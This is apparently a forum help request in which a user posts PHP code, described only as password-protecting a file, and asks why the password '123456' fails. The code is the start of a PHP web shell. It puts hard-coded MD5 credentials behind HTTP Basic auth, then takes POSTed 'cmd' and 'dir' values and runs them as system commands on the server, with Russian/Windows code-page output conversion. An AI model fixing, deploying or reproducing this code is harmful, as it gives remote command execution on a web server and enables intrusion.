Hello
this code Closes the file with a password
this exmple —> hichem.bplaced.net/login.php
problem is I put true password is incorrect ( 123456) but I can not pass
And this is a site for MD5 generator - Calculate MD5 for the typed string
adamek.biz/md5-generator.php
$auth = 1;
//
// Login & password crypted with md5, default is '123456'
$name='e10adc3949ba59abbe56e057f20f883e'; //
$pass='e10adc3949ba59abbe56e057f20f883e'; //
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="1"');
header('HTTP/1.0 401 Unauthorized');
exit("<b>Access Denied</b>");
}
}
if(isset($_POST['do']) && $_POST['do']=="AJAX")
{
@chdir($_POST['dir']);
if(strpos($_POST['cmd'], 'dir')===0){
echo iconv("cp866", "UTF-8", ex($_POST['cmd']));
} else {
echo iconv("windows-1251", "UTF-8", ex($_POST['cmd']));
}
die();
}